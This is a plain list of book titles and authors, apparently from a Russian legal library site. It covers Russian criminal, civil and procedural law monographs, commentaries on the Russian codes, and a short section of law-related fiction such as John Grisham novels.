- Российское законодательство на современном этапе (Н.А.Васецкий, Ю.К.Краснов)
- Права человека (Е. А. Лукашева)
- Справочник прокурора (Трикс А.В.)
- Правовые позиции Конституционного Суда России (Лазарев Л.В.)
- Проблемы уголовного наказания в теории, законодательстве и судебной практике (В. К. Дуюнов)
- Практика применения уголовного кодекса (А.В. Наумов)
- Уголовные преступления и наказания (А.Б. Смушкин)
- Экономические преступления (Волженкин Б. В.)
- Гарантии прав участников уголовного судопроизводства Российской Федерации (Волколуп О.В., Чупилкин Ю.Б.)
- Меры пресечения в российском уголовном процессе (Михайлов В.А.)
- Отказ от обвинения в системе уголовно-процессуальных актов (Землянухин А.В.)
- Типология уголовного судопроизводства (Смирнов А.В.)
- Учение об объекте преступления (Г.П. Новоселов)
- Дифференциация уголовной ответственности (Лесниевски-Костарева Т. А.)
- Теория доказательств (Владислав Лоер)
- Искусство защиты в суде присяжных (Мельник В.В.)
- Субъективное вменение и его значение в уголовном праве (В. А. Якушин)
- Психология преступника и расследования преступлений (Антонян Ю.М., Еникеев М.И., Эминов В.Е.)
- Курс международного уголовного права (Э.Нарбутаев, Ф.Сафаев) (Республика Узбекистан)
- Деятельное раскаяние в совершенном преступлении (Щерба C., Савкин А.В.)
- Право на юридическую помощь: конституционные аспекты (Р.Г. Мельниченко)
- Юридический статус личности в России (Воеводин Л.Д.)
- Российское гражданство (Кутафин)
- Законность в Российской Федерации (Тихомиров Ю. А., Сухарев А. Я., Демидов И. Ф.)
- Экономическое правосудие в России: прошлое, настоящее, будущее (М.И. Клеандров)
- Третья власть в России. Очерки о правосудии, законности и судебной реформе 1990-1996 гг. (Бойков А.Д.)
- Закон: создание и толкование (Пиголкин А.С.)
- Актуальные вопросы уголовного процесса современной России
- Уголовно-правовое регулирование. Механизм и система. (Н.М.Кропачев)
- Уголовно-правовая политика и пути ее реализации (Беляев Н. А.)
- Практика уголовного сыска (В.Румянцев, В.Перевертов)
- Судебная экспертиза (экспертология) (В.А.Назаров)
- Юридическая педагогика. (Левитан К.М.)
- Концепции современного естествознания. (А.Ф. Лихин)
- Критика научного разума. (Курт Хюбнер)
- Административная ответственность в СССР. (И.А.Галаган)
- Советские административно-правовые отношения. (Г.И.Петров)
- Искусство судебной речи. (М.Г.Жук)
- Государственное право Российской Федерации. (И.Т.Беспалый)
- Правоведение. (Н.М.Крюкова)
- Основы права. (Зенин И.А.)
- Некоммерческое право. (Н.А. Идрисов)
- Гражданское право Российской Федерации. (И.А.Зенин)
- Право на иск. (Гурвич)
- Хрестоматия по гражданскому процессу. (М.К.Треушников)
- Общая теория процессуальных норм права. (Борисова Л.Н.)
- Производство в кассационной инстанции арбитражного суда. (Э.Н.Нагорная)
- Допустимость доказательств в гражданском и арбитражном процессах. (А.В.Гордейчик)
- Заочное решение в гражданском процессе. (И.В.Уткина)
- Судебная практика по гражданским делам.
- Справочник по доказыванию в гражданском судопроизводстве. (И.В.Решетникова)
- Курс гражданского судопроизводства России. (Г.Л.Осокина)
- Выбор способа зашиты гражданских прав. (ВершининА.П.)
- Институт доказывания в гражданском и арбитражном судопроизводстве. (А.Г.Коваленко)
- Судебное усмотрение в гражданском и арбитражном процессе. (Абушенко Д.Б.)
КОММЕНТАРИИ:
- Комментарий к Трудовому кодексу Российской Федерации (К.Н.Гусов)
- Комментарий к кодексу российской федерации об административных правонарушениях (А.Б. Агапов)
- Комментарий к Уголовно-процессуальному кодексу Российской Федерации (Д.Н. Козак, Е.Б. Мизулина)
- Комментарий к кодексу Торгового мореплавания Российской Федерации (Г.Г. Иванов)
- Комментарий к Гражданскому Процессуальному кодексу Российской Федерации (П.В. Крашенинников)
- Комментарий к Налоговому кодексу Российской Федерации (А.Н. Гуев)
- Комментарий к Семейному кодексу Российской Федерации (ч.1,ч.2) (И.М. Кузнецова, М.В. Антокольская, Ю.А. Королев, Н.И. Марышева)
- Комментарий к Гражданскому кодексу Российской Федерации (ч.1,ч.2) (Абрамова Е.Н., Аверченко Н.Н., Арсланов К. М., Сергеев А.П.)
- Комментарий к Гражданскому кодексу Российской Федерации (ч.3) (Т.Е. Абова, М.М. Богуславский, А.Г. Светланов)
- Комментарий к Гражданскому кодексу Российской Федерации (ч.4) (Н.П. Корчагина, Е.А. Моргунова, В.В. Погуляев)
- Комментарий к Арбитражному процессуальному кодексу Российской Федерации (Андреева Т.К., Каллистратова Р.Ф., Лесницкая Л.Ф., Лившиц Н.Г.)
- Комментарий к Пенсионному законодательству Российской Федерации
- Комментарий к Градостроительному кодексу Российской Федерации (Крассов О.И.)
ОКОЛОЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
- The Rainmaker. (John Grisham)
- The Firm. (John Grisham)
- The Last Juror. (John Grisham)
- The summons. (John Grisham)
- A time to kill. (John Grisham)
- The pelican brief. (John Grisham)
- The king of torts. (John Grisham)
- Пора убивать. (Джон Гришем)
- Партнер. (Джон Гришем)
- Адвокат. (Джон Гришем)
- Камера. (Джон Гришем)
- Вердикт. (Джон Гришем)
- Дело о пеликанах. (Джон Гришем)
- Завещание. (Джон Гришем)
- Клиент. (Джон Гришем)
- Фирма. (Джон Гришем)
- Шантаж. (Джон Гришем)
- Il nome della rosa. (Умберто Эко)
- Интерпол.Всемирная система борьбы с преступностью. (Иосиф Дайчман)